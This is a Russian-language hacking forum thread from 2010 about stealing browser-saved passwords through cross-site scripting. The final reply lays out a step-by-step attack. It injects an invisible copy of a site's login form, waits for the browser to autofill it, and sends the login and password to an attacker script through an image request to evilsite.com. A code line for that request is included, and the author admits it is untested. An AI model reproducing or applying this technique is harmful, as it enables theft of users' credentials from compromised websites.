украсть пароль через XSS

Discussion in 'Песочница' started by life_glider, 16 Apr 2010.

  1. life_glider

    life_glider Member

    Joined:
    13 Apr 2010
    Messages:
    42
    Likes Received:
    25
    Reputations:
    33
    Есть возможность внедрить html код на сайт(тем или иным способом).
    Браузеры сохранят пароли и подставлют их в формы.
    Можно ли внедрить форму с паролем. и джаваскрипт который бы утащил бы его? У меня удавалось так красть пароли уже с готовой формы(браузер: хром).
     
    #1 life_glider, 16 Apr 2010
    Last edited: 16 Apr 2010
  2. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    235
    Likes Received:
    461
    Reputations:
    452

    Да, можно.
    Можно внедрить форму ввода пароля, и закрыть текущую форму, если она есть. Все зависит от того, какие именно символы внедряются.
     
    _________________________
  3. HellFire

    HellFire Elder - Старейшина

    Joined:
    18 Jan 2009
    Messages:
    98
    Likes Received:
    78
    Reputations:
    40
    Либо замена самой формы на стороннюю где и будет оседать пароль, либо внедрение в форму посыла на сниффер, но тогда только получишь куки на не пароль.
     
  4. r00nix

    r00nix Banned

    Joined:
    7 May 2009
    Messages:
    48
    Likes Received:
    20
    Reputations:
    0
    хм, ребят, что-то вы усложняете. я не в курсе, как работает жезл в Академическом Театре, но в лисе при определенных настройках (включенной "Сохранять пароли для сайтов" и отключенной "Мастер-пароль") браузер очень несекурно запоминает пароли - если пользователь с этим согласился, то, имея активку на сайте, мы ПО ИДЕЕ можем утащить логин и пароль юзера очень просто. План таков - вставляем в страничку js, который добавляет в документ точно такую же форму, как на логинке, но невидимую, у которой в свойстве onsubmit выполнение своей функции. эта функция добавляет в документ невидимый ифрейм, в свойстве src у которого будет наш сайт, вернее скрипт на нем, который принимает логины и пароли; можно также юзать не ифрейм, а картинку. При этом в качестве параметров для скрипта на нашем сайте передаем логин и пароль из формы, которые вытащит та же функция по таймауту, а лучше не по таймауту, а в зависимости от события, когда загрузится вся страница: лиса только тогда вставляет логин и пароль. итак, что имеем:
    1. пользователь заходит на страницу с xss
    2. грузится наш js, который:
    а) добавляет на страницу невидимую форму, идентичную форме логинки, но с onsubmit="our_function(); return false;"
    б) our_function() добавляет невидимую картинку с нашего сайта с img.src="http://evilsite.com/xss.php?login=" + document.getElementById("input_login").innerHtml + "&pass=" + document.getElementById("input_pass").innerHtml
    в) как только загрузится весь документ + еще пару секунд (на всякий пожарный) js сабмитит добавленную форму
    3. ???
    4. PROFIT
    Естественно, айдишники элементов будут другими, тут они для примера. Еще бы желательно добавить проверку браузера.
    Ах да, еще один момент - xss должна быть в том же документе (с тем же URI), что и форма логинки. то есть если юзер логинится на http://site.com/index.html, то бесполезно вставлять xss на http://site.com/index1.html - браузер просто не вставит туда пароль. это, кстати, и избавляет нас от такой фигни, как кража паролей на почтовиках - форма логинки расположена не в том документе, в который взломщик теоретически может проинжектить свой код.
    И последнее - все вышеописанное я не проверял, но по логике работать должно. Если проверите и оно не пашет - можно писать в ПМ или лучше сюда, посмотрим, что да как.